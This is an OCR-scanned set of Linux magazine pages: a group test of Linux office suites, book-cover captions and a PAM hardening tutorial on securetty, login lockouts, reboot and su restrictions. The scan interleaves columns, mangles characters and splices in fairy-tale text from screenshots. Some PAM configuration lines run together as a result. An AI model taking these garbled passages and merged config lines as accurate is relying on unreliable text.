to break the habits of a lifetime. Bu 
‘functional’ is becoming more than just a 
Computer Science anachronism, and it's 
being used by lots of the Groovy and Scala 


This is a relatively small book tha 
attempts to reprogram imperative 
programmers, turning us from monsters 
who think in return values into the 
heavenly apostles of Lambda and 
Closures. And it does this with a bit of role 
play. You've somehow landed a new job at 
a company, and despite knowing nothing 
about functional programming, it's your 
task to refactor all that nasty Java 7 into 
its functional equivalents. 

This concept works quite well, and it 
does leave you with an impression of 


O'REILLY 


Becoming Not a bad approach 
to functional 


Functional 


programming, but 
we'd like to see 
more languages. 


Joshua Backfield 


where functional programming might be 
most useful. But it wasn't enough to move 
us from our wicked procedural ways. 
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O'REILLY 


Data 

Science 

at the 
Command Line 


Jeroen Janssens 


Getting 
Started ‘with 
Adafruit! Trinket 


15 Projects with the Low-Cost 
AVRATtiny85 Board 


foreword by Limor ‘LadyAda' Fried 


The InfoSec 


Handbook 


An Introduction to Information Security 
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V GROUP TEST OFFICE SOFTWARE 


mg; GROUP TEST 


SOFTWARE 


Ben Everard now has an office, so sets off in search 
of some office software. 


On Test 


Libre Office 


N 


URL www.libreoffice.org 

VERSION 4.3 

LICENCE LGPL/MPL 

As the dominant office suite for Linux, 
LibreOffice sets the standard. 


Apache OpenOffice 


Calligra 


€lligra 


URL www.openoffice.org 

VERSION 4.1 

LICENCE Apache 

Can Apache rejuvenate this suite now it’s 
been released from Oracle's clutches? 


URL www.calligra.org 

VERSION 2.8 

LICENCE GPL 

Qt's main contender is getting closer to 
challenging the status quo. 


Gnome Office 


\ 


URL www.gnome.com/gnome-office 
VERSION various 

LICENCE GPL 

Not really a suite, but a collection of 
applications from the Gnome project. 


Kingsoft WPS 


office 


URL www.wps.com 

VERSION Alpha 15 

LICENCE Proprietary 

A newcomer to the Linux world with an 
excellent interface. 


Softmaker FreeOffice 


FreeOffice 
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URL www. freeoffice.com 

VERSION 690 

LICENCE Proprietary 

Fast, lightweight, and with excellent 
document format support. 


Office Suites 


ffice suite is an odd term, 
since it seems to assume 
that everyone does the 


same thing in an office. It obviously 
can't include all software that is 
needed by anyone in an office (after 
all, this author has used Steam in 
his office). Similarly, it can’t be 
software that is only needed in an 
office, because for many people, 
word processors are only needed 
for personal work. It can’t even be 
software that is used the majority 
of the time in an office since, many 
Linux Voice readers probably spend 
more office time using a text editor 
or IDE than a word processor, but 
that doesn't mean Vi should be 
considered part of an office suite. 
However, rather than there being 
any logic to what an office suite is, 
over the past 30 years, a certain 
consensus has built up on what to 
expect from one. 

The core of an office suite is 
undoubtedly a word processor 
and spreadsheet. Without these, 
i's hard to claim that a particular 
bundle of software is an office 


include some form of visual 
database tool. 

For the purposes of this review, 
we'll focus most strongly on the 
word processor, spreadsheet, 
presentation tool and diagramming 
software, since in our experience, 
these are by far the most used part 
of most office suites. 

Good office software should 
have a shallow learning curve. It 
should be easy for a beginner to get 
started, yet have plenty of power for 
advanced users. Above all, a good 
office suite should make a typical 
office worker more productive. 

In other words, it shouldn't be 
frustrating to use — it should just 
get out of the way and let you do 
your work — and it mustn't lose your 
work in the event of a crash. 

It should also let you collaborate 
with people using other software. 
This means it must be able to 
open Microsoft Office documents. 
While we may wish that this wasn't 
necessary and that the world used 
open formats, the fact is that the 
majority of people using office 


“A certain consensus has built up on 
what to expect from an office suite. 


suite. There is generally some 
form of vector drawing ability 
(often included for its ability to 
create diagrams rather than pretty 
pictures), and a presentation tool. 
Beyond this, it becomes a little 
less standard. Some suites include 
email, contacts management and 
and calendar software. Others 
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suites are using Microsoft Office. 
This also means that it must be 
able to use Open Document Format 
files. While these are no where near 
as prevalent as Microsoft's format, 
they are becoming more common 
especially now the UK government 
has committed to using them as 
standard. 


LibreOffice 


The office suite you probably already have installed. 


ibreOffice is the default office suite for 
L the vast majority of Linux distros, but 
it hasn't been for long. Up until the 
start of 2011, most distros came with 
OpenOffice.org, but LibreOffice forked from 
this due to concerns about the way the 
project was being led. Most distros very 
quickly adopted LibreOffice even though, at 
that point, the two suites were very similar. 
LibreOffice consists of six applications — 
Writer, Calc, Draw, Impress, Math and Base 
— which are a word processor, spreadsheet, 
diagramming tool, presentation tool, maths 
formula editor and database respectively. 
One area that LibreOffice has rapidly 
improved is support for MS Office files. 
Most MS Office files open, but complicated 
formatting can be lost. This becomes less of 
an issue with each new release. 


Easy interface 

The layout of Writer is based around a 
menubar and sidebar. Together, these give 
plenty of access to features, while still 
providing enough screen space to display 
the document. The sidebar is quite a new 
addition, and it doesn't feel like the choice of 
features on it is optimal just yet, as there's 
no clear split on what goes in the top bar 
and what goes In the sidebar. In fact, most 
controls are simply duplicated on both. The 
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Impress's controls are scattered about the window, and the sidebars disappear on some tabs. 


tool that's improved the most under the 
LibreOffice banner is Calc. This is now faster, 
supports larger spreadsheets and has more 
advanced formatting options. It also 
supports GPU acceleration, which allows 
faster visualisation of real-time data. This is 
most commonly shown-off as a way of 
showing stock-market data, and will 
probably remain a novelty for most users. 
Impress is the one exception to the good 


Apache OpenOffice 


The veteran Linux office suite. 


hen LibreOffice split from 
OpenOffice.org, Oracle handed the 
project over to the Apache 


foundation, and it's now known simply as 
Apache OpenOffice. 

OpenOffice is at a disadvantage compared 
with LibreOffice, because It uses a more 
restrictive licence than LibreOffice (The 
Apache 2 licence rather than the LGPL). 
This means that LibreOffice can take any 
new code from OpenOffice, but OpenOffice 
can't take code from LibreOffice (unless of 
course the original author agrees to license 
it under the Apache Licence). For example, 
LibreOffice acquired its sidebar from 


OpenOffice. This flow of code will probably 
reduce as the two code bases diverge 
because it will become harder and harder to 
translate code across. 

The biggest problem with OpenOffice is 
simply that LibreOffice is just a little better 
than it in almost every area. There's not so 
much different that you would immediately 
notice, but as you use it, you become aware 
of little things that just make the experience 
nicer. For example, LibreOffice uses standard 
GTK dialog boxes for opening and closing 
files, whereas OpenOffice uses custom-built 
ones that don't fit in with the look and feel of 
the rest of the desktop. LibreOffice has better 
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user interface in LibreOffice. It's confusing 
and unintuitive. It's possible to create good 
presentations using /mpress, but doing so 
isn't a nice experience. 


VERDICT 


LibreOffice is the default 
office suite in most Linux 


distributions for a good 
reason. 


Kk IO 


support for Microsoft Office files, and a better 
status bar. 

OpenOffice has become a usurped 
product. If you find yourself with a system 
that has OpenOffice, you probably won't have 
too many problems, but there's little reason 
to actually install it if you have a choice. 
Unless OpenOffice can find a niche, it's likely 
to slowly fade into obscurity. 


VERDICT 


The once mighty office 


suite is struggling to find 
its purpose. 
kkk 
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Calligra 


More applications doesn’t mean more productivity 


here must be something about 

office suites that makes people 

want to fork them. Calligra split 
from KOffice in 2010 and quickly 
became the more popular of the two. 
KOffice stopped development shortly 
afterwards and now Calligra is the only 
major open source office suite based 
on Qt. Traditionally, this has meant it's 
the office suite of hardcore KDE distros, 
but perhaps we'll see it gain some 
popularity on LXQt, the relatively new 
desktop that aims to provide a fast 
working environment using Qt widgets. 

Calligra is made up of Words 
(wordprocessor), Sheets (spreadsheet), 
Stage (presentation tool), Flow 
(diagramming tool), Author (ebook 
editor), Karbon (vector graphics 
editor), Kexi (a database tool), Plan (an 
organisational tool) and BrainDump. 
That's a lot of applications, but much 
of it will be irrelevant to most users. 
Good software is more about quality 
than quantity. 

Calligra supports ODF files very well. 
MS Office formats are also supported 
quite well for import, but there's no 
option to save in the most recent 
formats (DOCX etc). 

Like LibreOffice and OpenOffice, 
Calligra’s interface is based on a menu 
bar plus sidebar. However, the menu 


bar is minimal, and almost all activity 
takes place in the sidebar. The tabs 
are clear and well labelled. In some 
ways, it's a little like a vertical version of 
Microsoft's ribbon interface. It can take 
alittle while to get used to the sidebar 
having all of the controls if you're used 
to looking at the top of the screen, 
but once you've used it for a while, it 
becomes second-nature, and it makes 
good use of the available screen space. 

The sidebar seems particularly well 
suited to Words and Stage, but it doesn't 
work as well in Sheets. Perhaps this is 
because of an inherent difference in the 
way users interact with a spreadsheet 
or perhaps the Sheets interface just 
needs a little refinement. 

Words and Sheets both epitomise 


“Once you've used the Calligra 
sidebar interface for a while, 
it becomes second nature 


the term ‘alright’. If your needs are fairly 
basic, both will probably fulfill them. 
However, neither one really shines, and 
power users will probably find things 
missing. Stability has long been a 
problem with Calligra, and it seems to 
be improving, but it's still an occasional 
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Calligra's presentation application, Stage, includes a few slide backgrounds aimed at 
Linux users including penguins (shown here) and KDE artwork. 
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THE GOLDEN BIRD 


Acertain king had a beautiful garden, and in the garden stood a tree which bore golden apples. 
‘These apples were always counted, and about the time when they began to grow ripe it was 
found that every night one of them was gone. The king became very angry at this, and ordered 
the gardener to keep watch all night under the tree. The gardener set his eldest son to watch; 
but about twelve o'clock he fell asleep, and in the morning another of the apples was missing. 
Then the second son was ordered to watch; and at midnight he too fell asleep, and in the 
morning another apple was gone. Then the third son offered to keep watch; but the gardener at 
first would not let him, for Fear some harm should come to him: however, at last he consented, 
and the young man laid himself under the tree to watch. As the clock struck twelve he heard a 
rustling noise in the air, and a bird came flying that was of pure gold; and as it was snapping at 
‘one of the apples with its beak, the gardener’s son jumped up and shot an arrow at it. But the 
arrow did the bird no harm; only it dropped a golden feather from its tail, and then Flew away. 
The golden feather was brought to the king in the morning, and all the council was called 
together. Everyone agreed that it was worth more than all the wealth of the kingdom: but the 
king said, ‘One Feather is of no use to me, | must have the whole bird.’ 


Then the gardener’s eldest son set out and thought to find the golden bird very easily; and when 
he had gone but a little way, he came to a wood, and by the side of the wood he saw a fox sitting; 
so he took his bow and made ready to shoot at it. Then the Fox said, 'Do not shoot me, For I will 
give you good counsel; | know what your business is, and that you want to find the golden bird. 
You will reach a village in the evening; and when you get there, you will see two inns opposite to 
each other, one of which is very pleasant and beautiful to look at: go not in there, but rest For 
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Calligra writer keeps the features in a well-ordered sidebar, 


and leaves the writing area distraction-free. 


issue. We would struggle to describe 

the interface of Stage (the presentation 
tool) in positive terms, but it is probably 
the least bad open source presentation 


option. 

Krita is the shining jewel 
crown. It’s an excellent digi 
tool. However, it's not for di 


The other pieces of grap 


but creating art and, as such, it falls 
far outside of our definition of an office 
suite for us to count It here. 


in Calligra's 
ital drawing 
agramming, 
00 


hics 


software in the suite are also good. 
Flow is a great tool for creating 


symbols-based diagrams. 


It's probably 


the best such tool available for Linux, 


and it comes with a huge li 


brary of 


artwork to include in your diagrams. 


Karbon, on the other hand, 


is amore 


general-purpose vector graphics tool. 


If you only have light offi 
and want to keep your des 


ce needs, 
ktop Qt-only, 


then Calligra will give you what you 


want. However, if you're us 


ing an office 


suite regularly, you'll probably find you 


need to move up to somet 
more capable. 
Calligra has the potential 


hing a little 


tobea 


great office suite, but it's still quite a 
way off that right now. New releases 
are coming out every six months at the 
moment, and, if the team can continue 
the current pace of development, it will 
be a real contender in a few years. 


VERDICT 


An useful interface with 


potential, but lacking in 
power for now. 
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Gnome Office 


This doesn’t mean a desk set up in the garden 


Databases 


Because spreadsheets can't 


do everything. 
bi B SS 62 4 OB 4 & [Paewiah | ® 
Normal + | Times New Roman ‘je -l)aga WMeeez BB , , . 
— ——— a e haven't included database tools 
icy > A . eas a 
5 in our definition of office suite 
re reviews because (in our opinion), 
1 ieee they're not part of regular office software. 
: 4 5 i i 
2 Some men are born to good luck: all they do or try to do comes right—all that falls to them is They re more like IDEs for simple data-driven 
= so much gain—all their geese are swans—all their cards are tramps—toss them which way software than the rest of the offi ce suite. 
3 you will, they will always, like poor puss, alight upon their legs, and only move on so much : 
z the faster. The world may very likely not always think of them as they think of themselves, However, three of the suites here (Calligra, 
4 but what care they for the world? what can it know about the matter? i i 
- One of these lucky beings was neighbour Hans. Seven long years he had worked hard for his LibreOffice and Gnome Office) do include 
5 master. At last he said, 'Master, my time is up; I must go home and see my poor mother once 


graphical database tools. 

Kexi (from Calligra) has an excellent user 
interface that's easy to navigate and is 
just generally pleasant to use. It makes it 


- more: so pray pay me my wages and let me go.' And the master said, 'You have been a 
faithful and good servant, Hans, so your pay shall be handsome. Then he gave him a lump of 
: silver as big as his head. 

Hans took out his pocket-handkerchief, put the piece of silver into it, threw it over his 
shoulder, and jogged off on his road homewards. As he went lazily on, dragging one foot 
after another, a man came in sight, trotting gaily along on a capital horse. 'Ah!' said Hans 
aloud, 'what a fine thing it is to ride on horseback! There he sits as easy and happy as if he 


: was at home, in the chair by his fireside; he trips against no stones, saves shoe-leather, and easy to create tables, queries, reports and 

9 ' j ‘ ' nee 

2 gets on he hardly knows how.' Hans did not speak so softly but the horseman heard it all, and 1 

. said, 'Well, friend, why do you go on foot then?! 'Ah!' said he, 'I have this load to carry: to be forms. LibreOffice Ss Base has roughly similar 
10 sure it is silver, but it is so heavy that I can't hold up my head, and you must know it hurts my capabilities to Kexi, but isn't quite as nice to 


: shoulder sadly.’ "What do you say of making an exchange?’ said the horseman. 'I will give you 
1" my horse, and you shall give me the silver; which will save you a great deal of trouble in 
= carrvine such a heavy load about with vou! With all mv heart.’ said Hans: 'butas vou_are so 


work with. Glom from Gnome Office is the 
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AbiWord's simplicity is great if you don’t need any complex word processing features. 


here isn't actually an official 

Gnome Office. However, there are 

a selection of Gnome applications 
that fulfill the role usually taken by an 
office suite. Colloquially, these are often 
known as Gnome Office. This software is: 
AbiWord (word processor), Evince 
(document viewer), Evolution (email client), 
Gnumeric (spread sheet), Inkscape (vector 
graphics), GnuCash (accounting) and Dia. 

The lack of a suite also means lack of a 
single vision. AbiWord and Gnumeric have 
carved out a niche as good tools for 
low-resource computers. This was 
particularly true a few years ago when 
OpenOffice.org was a bit of a resource- 
hogging snail. Now, both Open and 
LibreOffice have improved significantly in 
this respect, so AbiWord and Gnumeric 
don't enjoy as big an advantage as they 
did. However, the Gnome options will 
probably always be faster and have lower 
footprints because they don't try to 
include as much functionality, so they're 
still our go-to office programs for slim 
computers. Of course, the other side of 
this is that power users may find that they 
don't have everything they're used to on 
more heavyweight tools. 

Dia (the diagramming software), hasn't 
aimed for low-resource usage. It's tried t 
carve a niche as the best diagramming 
software, and it’s done a good job at it. It's 


e) 


probably the best looking of all the 
diagramming tools, and it's really easy to 
use, but it loses out to Flow when it comes 
to features — particularly the range of 
symbols available. Similarly, Inkscape is a 
good vector graphics tools, but isn't well 
suited to low-powered machines. 


A mixed bag 
What this all means is that someone 
looking for a good office suite for a 
low-performance computer will need to 
find a different graphics tool, yet someone 
looking for a fully-featured office suite will 
have to find a different word processor 
and spreadsheet. If you're happy to pick 
and choose what's best for you, that’s fine. 
Supposedly, Gnome's getting a 
presentation tool called Ease. However, 
development seems to have stalled about 
four years ago. In principle, you could 
deliver a PDF presentation using Evince (a 
suitably determined user could probably 
even create the presentation in AbiWord), 
but in reality, if you need to give a 
presentation, you're going to be better off 
using a different office suite. 


VERDICT 


A disparate collection 
with some real quality, but 


not exactly what you'd 
call integrated. 
KKK Kk 
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least well known of the three, and it's also the 
least powerful. It works for simple tasks, but 
doesn't have the power of Kex/ or Base. 

The real problem isn't with any of these 
programs, but with the idea behind the genre. 
To use any of these, you have to know how to 
model data in a relational database, and most 
people who know how to do this are more 
comfortable using general-purpose databases 
like MariaDB or Postgres. There's also the 
issue that these pieces of software run on the 
desktop of a single computer, and this isn’t the 
most useful way of running database-driven 
software. Usually you want some form of 
networked client-server model. Something like 
Drupal is far more useful in practice, though it 
is more complex to use. 

This leaves graphical database tools with 
a very small target audience. Should you find 
yourself a member of this exclusive group, 
we'd recommend Kexi, but only marginally. 


Kex/s form editor enables you to drag and drop a 
form for entering information into your database. 
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WPS vs SoftMaker 


The battle of the proprietary suites. 


ingsoft's WPS and Softmaker's 
K Free Office are the two closed- 

source office suites we're 
tesing. Take a deep breath. 

Until recently, WPS was known as 
Kingsoft FreeOffice, and was available 
for Windows. Linux support is new 
— so new it's only considered alpha 
quality — but we decided to include it 
both because it's interesting software, 
and because we think it’s always 
worth comparing free software with 
proprietary software to see just how 
they stack up. 

WPS is very popular in China, but not 
as well known in the English speaking 
world. Although the Linux version is 
new, it is slowly starting to attract 
some interest. The only major distro 
to support it by default is Ubuntu Kylin, 
which is Canonical's distro for the 
Chinese market. A few smaller distros, 
such as Makulu, also come with WPS. If 
it's not in your distro's repositories, you 
can get Debs and RPMs from http:// 
wps-community.org/download.html. 

WPS consists of a word processor, 
spreadsheet and presentation tool. 
While it doesn't have diagramming 
too, the drawing tools inside the word 
processor are the most advanced of 
any we've looked at here. However, 
because it's not a dedicated graphics 
tool, it doesn’t have the ability to save 
it as an image (other than PDF). This is 
also true of SoftMaker Office. 

Unlike the other office suites we've 
looked at, WPS can't open open 


Snowdrop. 


document format files. It handles 
Microsoft's DOC and DOCX excellently 
(Kingsoft claims it's 100% compatible, 
and though we haven't come across a 
document that doesn't render properly, 
we're still a little skeptical that it will 
never fail). In addition, it has its own 
proprietary format. 

Once you get your head around it, 
the ribbon-style interface is nice to use, 
though you can switch it to a classic 
plain menu bar if you don't get on with 
the ribbon. On Windows, WPS comes 
in free and paid-for versions, and the 
paid version includes support for VBA 
macros. Currently, this isn't available on 
Linux, but perhaps, when it comes out 
of alpha, we'll finally have the ability to 
run these on Linux. 


Proprietary polish 
WPS is the nicest office suite we used 
in terms of user experience. However 
— and this is a big issue — it doesn't 
play that nicely with other Linux office 
suites, so think carefully about your 
document format lock-in if you use this, 
particularly if there's complex 
formatting or diagrams that may cause 
problems with DOCX import in other 
suites. Of course, if your documents are 
already locked into a proprietary format, 
this may be less of a concern. 
SoftMaker has a zero-cost version 
(FreeOffice) and a paid version (Office) 
with more features. The biggest 
feature missing from the free version 
is the ability to save DOCX (and other 
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FreeOffice isn’t the best-looking suite, but it is easy to use. 


OOXML) files. This alone is enough for 
it to be unsuitable for most users. If you 
pay though, you get excellent support 
for Microsoft Office files. Both versions 
support ODF files for interacting with 
open source office suites. 

SoftMaker's interface in all three 
applications (Presentations, PlanMaker — 
the spreadsheet — and TextMaker) looks 
quite dated, though is clear and easy 
to use. The layout seems more geared 


“Kingsoft's WPS is the nicest 
office suite we used in terms 
of user experience. 


towards casual users, and most of 
the more powerful features are hidden 
away in menus. As so often happens, 
the simple interface sits atop fast and 
lightweight software. 

As the only paid-for option on test, 
SoftMaker Office needs something to 
justify its price, and the only area in 
which it stands out is compatibility — it 
rubs along very nicely indeed with MS 
Office formats (better than the open- 


source options) and ODT files. Whether 
Seance asa this is enough to justify the £55 price 

tag will depend on how many problems 
u encounter with document formats. 


‘Tell me, glass, tell me true! 
Of all the ladies in the land, 
Who is fairest, tell me, who? 


Jetho heise yeh yo 


‘Thou, queen, art the fairest in all the land.' 
I &- 


VERDICT 


WPS: Looks good, 
solid DOCX support, 


SOFTMAKER: Fast and 
easy to use with 
excellent document 
compatibility. 
Kk 
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but can't handle 
ODF files. 
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WPS will feel familiar for recent converts from Microsoft Office. 
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Office Suites 


open source office suite, it 

would be Writer and Calc from 
LibreOffice, Sheets and Flow from 
Calligra and Inkscape from Gnome. 
However, this is wimping out of 
making a decision (and would also 
leave us with a horribly inconsistent 
user experience). 

LibreOffice wins because it's 
the best all-rounder. Under the 
stewardship of The Document 
Foundation, it’s come on leaps 
and bounds since the split from 
OpenOffice and shows no signs of 
slowing down. 

WPS is great for Linux users ina 


[= were to build our favourite 


Linux Voice readers who aren't 
bothered by closed file format, it's 
an excellent suite, especially for 
anyone used to Microsoft Office. 
Calligra and OpenOffice both 
struggle, not because they're bad, 
but because they don't excel in 
any unique way, so there's little 
to recommend them over the 
ternatives. If you like to stick toa 
pure Qt environment, then Calligra 
does the job. If you have a love of 
| things Apache, then OpenOffice 
functions as a perfectly alright 
office suite. Still, given the choice, 
we'd recommend using something 
different. Calligra, however, is under 


fed) 


fed) 


“LibreOffice has come on in leaps and 
bounds since the split from OpenOffice. 


Windows world. We wish everyone 
would switch to the open document 
formats for their data — perhaps 
one day they will — but the reality 

is that many people have to work 
alongside people using Windows. 
The two big concerns about WPS 

is that it's closed source and that 

it doesn't support ODF files. These 
are both very troubling for anyone 
who cares about freedom. However, 
if you're part of the minority of 


more active development, so 
stands a better chance of rising up 
the rankings in the future. 

We're a little hesitant to refer to 
office suites on Linux as exciting, 
but in the last couple of years, 
the choices for Linux users have 
improved significantly, and the pace 
of change is faster now than it has 
been for along time. Over the next 
few years, things are going to get 
even better. @ 


YOU MAY ALSO WISH TO TRY... 


There's no need to use an office 
suite at all really. For creating 
documents, you could use a text 
editor and some form of document 
layout engine. Markdown is great 
for documentation, while Latex 
works well for more complicated 
stuff. True Unix lovers may contend 
that you can get by perfectly well 
without spreadsheets by using 
comma separated value files 
(CSVs), and command line tools, 
but we'd only recommend that for 
masochists. CSV files can also be 


handled by most databases, but 
again, this isn’t going to be as user 
friendly as a spreadsheet. 

True to the spirit of the age, 
there are also a few options in the 
cloud. Google Docs is the most 
famous of these, but Microsoft 
Office Live can also be useful when 
you've got a DOCX that just won't 
open properly anywhere else. For 
the privacy-conscious, OpenCloud 
also has some office facilities 
including the ability to do some 
word processing. 
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LibreOffice’s Calc has everything you could need in a spreadsheet 


(provided you don’t need VBA support). 


Ist 


Licence LGPL/MPL Version 4.3 


www.libreoffice.org 


An excellent standard bearer for free software, and making 


giant strides with every release. 


2nd 


Licence Proprietary Version Alpha 15 


www.wps.com 


Brilliant software, but let down by the closed source and lack of 


ability to open ODT files. 


3rd 


Licence Proprietary Version 690 


www.freeoffice.com 


Linux users working with lots of Microsoft Office files may find 


this suite is worth the money. 


Ath 


Licence GPL Version 2.8 


www.calligra.org 


The user interface looks promising, but it needs more work 


before it's a serious contender. 
5th 
Licence GPL Version various 


www.gnome.com/gnome-office 


Some good software, but it lacks a central vision to make it a 


cohesive suite. 


6th 


Licence Apache Version 4.1 


www.openoffice.org 


The slow pace of development has allowed other suites to leave 


OpenOffice behind. 
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V_ CORETECHNOLOGY 


A veteran Unix and Linux 
enthusiast, Chris Brown has 
written and delivered open 
source training from New Delhi 
to San Francisco, though not on 
the same day. 


CORE 
TECHNOLOGY 


Dive under the skin of your Linux system to find out what really makes it tick. 


PAM: Pluggable Authentication Modules 


Take control of your system's security policy by mastering the minutiae of PAM. 


luggable Authentication Modules 
P (known to its friends as PAM) is one 

of those technologies that most 
users are entirely unaware of, like the engine 
management computer in their Volvo. 
Basically, PAM provides a framework within 
which an application can assemble one or 
more stacks of PAM modules to perform the 
authentication tasks It needs to perform and 
to implement the security policy that it (or 
the system administrator) wants to 
implement. 

From a system administrator's point of 

view, PAM has two parts. The first is a set of 


By the way, PAM is entirely in userspace. 
There are no PAM kernel modules. 


PAM in a paragraph 

Here's how it works. A program that wants 
to use PAM links to a library called libpam. 
This is probably the least visible part of PAM 
but it’s really the heart of the whole thing. 
Under control of the program's PAM config 
file (we'll see an example ina moment), 
libpam assembles up to four stacks of 
modules that the application can use. The 
four stacks are called auth, account, 
password and session, and they refer to the 


“The basic concept that underpins PAM is not really 
that hard. The devil is in the details.” 


configuration files in /ete/pam.d that define 
how an application's PAM stacks are to be 
assembled. The config file is usually named 
after the application, so that (for example) 
the file for the ssh daemon would be 
/etc/pam.d/sshd. The second part is a 
collection of PAM modules that are 
implemented as dynamically linked libraries. 
Red Hat puts them in /lib64/security, 
though different distros choose different 
directories. The range of tasks that these 
modules perform is quite diverse, ranging 
from doing traditional Unix-style 
authentication (pam_unix) to enforcing 
password strength (pam_cracklib) and 
locking an account after too many failed 
logins (pam_tally2). The PAM modules table 
on the facing page provides a longer list, but 
itis by no means complete. The modules 
listed in the table are relatively mainstream 
but they may not all be installed by default 
on your distro. 
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four classes of activity that PAM helps to 
manage. Typically, an application won't use 
all four stacks; it may only need the auth and 
session stacks, for example. 

Let's suppose you're a program that 
wants to perform authentication. Maybe 


Disable direct root login 


Disabling direct root logins (so that you have to log 
in as a regular user then use su to switch to root) 
is a great way to improve security. You can do 

this by adding the pam_securetty module into the 
‘auth’ stack. No, | haven't mis-spelled it; ‘securetty’ 
means ‘secure terminal’, and it harks back to the 
days when people logged in on text-based console 
devices, some of which were secure (behind a 
locked door). 

The pam_securetty module consults the file / 
etc/securetty to find out which terminals are 
deemed secure. It will fail if root tries to log in on 
a terminal not listed here. In particular, if the file 
exists (but is empty) root isn't allowed to log in 
anywhere. Start by creating an empty list of secure 


you're the classic command line login 
program. Through pamlib, you call the 
PAM modules in your auth stack, in order. 
You don't even know what those modules 
are; this information Is held in an external 
configuration file, which pamlib knows 
about, but you don’t. Each PAM module 
performs its function, and returns a 
‘success’ or ‘failure’ status. The status values 
of the modules combine (according to rules 
in the config file) to provide a success or 
failure status for the stack as a whole. 

So the basic concept is not really that 
hard. The devil is in the details. Let's take a 
look at a typical PAM configuration file: 


auth required pam_securetty.so 

auth required pam_unix.so shadow nullok 
auth required pam_nologin.so 

account required pam_unix.so 

password required pam_cracklib.so retry=3 
password required pam_unix.so shadow nullok 
use_authtok 

session required pam_unix.so 


This particular file assembles all four 
stacks — auth, account, password and 


terminals: 
# echo “none” > /etc/securetty 

Note that a non-existent securetty file has an 
entirely different effect than an empty one. If the 
file doesn't exist, root can log in anywhere. If the 
file is empty, root can log in nowhere. 

Next, add an entry near the top of the auth stack 
in /etc/pam.d/system-auth, like this: 
auth required pam_securetty.so 

With this change in place you should find that 
root can no longer log in on a text console. Note 
that, to prevent root logging in on the graphical 
desktop, you will probably need to make similar 
changes to the PAM stacks for the display 
manager, such as gdm. 
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Defeat brute-force login attempts 


The module pam_tally2 can be used to count 
failed login attempts and to lock accounts for 
a specified length of time if there are too many. 
Try adding a line like this to the auth stack in 
system-auth: 
auth required pam_tally2.so deny=3 even_ 
deny_root unlock_time=600 
This will lock a user out for 600 seconds after 
three failed login attempts. Pick a user account 
you know the password for and deliberately 
enter the wrong password three times in 
succession. Subsequent login attempts should 
then fail even if you use the correct password. 
From a command prompt you can query the 
failed login count with the command: 
# pam_tally2 --user bob 
where bob is the account name, and reset the 
count back to zero with: 
# pam_tally2 --user bob --reset 


session. The auth stack has three modules; 
the password stack has two; the account 
and session stacks each have just one. So 
to perform authentication, for example, the 
program first calls pam_securetty. This 
module can restrict root access to specific 
‘secure’ terminals. Then it calls pam_unix. 
This is an important PAM module; it handles 
the traditional authentication against a local 
account database. Finally, pam_login is 
invoked to prevent non-root logins if the file 
/etc/nologin exists. The nologin file is 
usually created during the shutdown 
sequence; its purpose is to stop regular 
users logging in during the shutdown period. 
The second field in the PAM config file 
specifies the control flag, and you will notice 
that all of these modules are marked as 
required. This means that they all have to 


Preventing non-root reboots 


By default, my CentOS 6.5 system allows a non- 
root user to halt or reboot the system, using the 
reboot command. This is probably acceptable 
for a single-user desktop machine but definitely 
not a good idea on a server. We can modify this 
policy by changing the PAM configuration. 
Here's the default PAM auth stack for the 
reboot program, from /etc/pam.d/reboot: 
auth sufficient pam_rootok.so 
auth required pam_console.so 
which says you can go ahead if you're root, or if 
you're logged in on the console. 
Change the auth stack in /etc/pam.d/reboot 
as follows: 
auth sufficient pam_rootok.so 
auth required pam_deny.so 
Now, if we're root we're fine, but if not, we're 
doomed. With this change in place, attempts to 
reboot as a non-root user should fail: 
$ reboot 
need to be root 


A sampling of PAM modules 


| Module | Whatitdoes 


pam_unix 
pam_cracklib 


pam_timestamp 
pam_env 
pam_abl 
pam_limits 
pam_rootok 
pam_mkhomedir 
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Traditional password authentication 
Checks password strength against dictionary words 
Checks password strength based on length and character classes 


Denies access. Used as a ‘backstop’ at the bottom of a stack 


pam_passwdqc 

pam_securetty Limits root login to secure terminals 

pam_tally2 Counts failed logins, denies access if too many attempts fail 
pam_deny 

pam_time Implements time-of-day and day-of-week login restrictions 
pam_shells Restricts access to the shells listed in /etc/shells 


Enables a user to authenticate based on a recent successful authentication 
Sets environment variables when a user logs in 

Maintains a blacklist of hosts making repeated failed logins 

Sets limits on resource usage during a login session 

Allows authentication to succeed if the user is root 

Creates a user's home directory if it doesn’t exist 


succeed for the stack as a whole to 
succeed. The other control flags (requisite, 
sufficient and optional) are described on 
page 66 and I'll re-visit them later. You'll also 
notice that some of these modules have 
parameters passed to them. For example in 
the password stack, pam_cracklib has the 
parameter retry=3. Some of the modules 
even have their own configuration files. 


Factoring out 

I's common for the same pieces of the PAM 
stack to appear in the configuration of 
several applications. To make this easier, 
there's an include control flag that brings in 
stack definitions from an external file. On a 
Red Hat-style system the most widely used 
example of this is the file /etc/pam.d/ 
system-auth. You'll find this file included in 
the PAM stacks of most applications 
through a line like this: 


auth include system-auth 

Other distros do things slightly differently. 
On Ubuntu there are four of these “common” 
files (common-auth, common-account, 
common-session and common-password) 
and they are included by lines of the form: 
@include common-auth 

“Factoring out” pieces of the PAM stack in 
this way not only makes the individual PAM 
config files shorter, it also means that you 
can change the login policy for most 
PAM-aware applications just by editing the 
one common file. As an example, Red Hat 
has alittle tool called authconfig-tui, which 
you can use to enable authorisation against 
LDAP, Kerberos, or Active Directory 
accounts. The only PAM file that this tool 
needs to adjust is system-auth. There are 
even some applications whose PAM 
configurations do nothing except include the 
relevant stacks from system-auth. 


microsystems 


Like several other technologies we now take for granted in Linux, PAM originated with Sun 
Microsystems. It dates from 1995, and was soon adopted (1996) into Red Hat Linux. 
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Restrict su to members of the wheel group 


By default, anyone can use su to switch to root if 
they know the root password. You can tighten up on 
this using the pam_wheel module, which tests that 
you're a member of the wheel group (or some other 
specified group). 

As an aside, the use of the “wheel” group for 
privileged users goes back to the early days of Unix, 
but I have never found a satisfactory explanation of 
why it's called “wheel”. The default auth stack for 
su looks like this: 
auth sufficient pam_rootok.so 


You should now find that the user chris can su to 
root, but a user who is not a member of the wheel 
group cannot. 

To illustrate the importance of the control flags, 


auth include — system-auth 

which says that if you're root, you're in, otherwise 
you have to go through the standard system-auth 
stack. You can adjust this like so: 


auth sufficient pam_rootok.so try changing the auth stack of su to look like this: 
auth required pam_wheel.so use_uid auth sufficient pam_rootok.so 

auth include system-auth auth sufficient pam_wheel.so trust use_uid 
which adds the requirement that we belong to the auth include — system-auth 


wheel group. To check this out you will need to add 
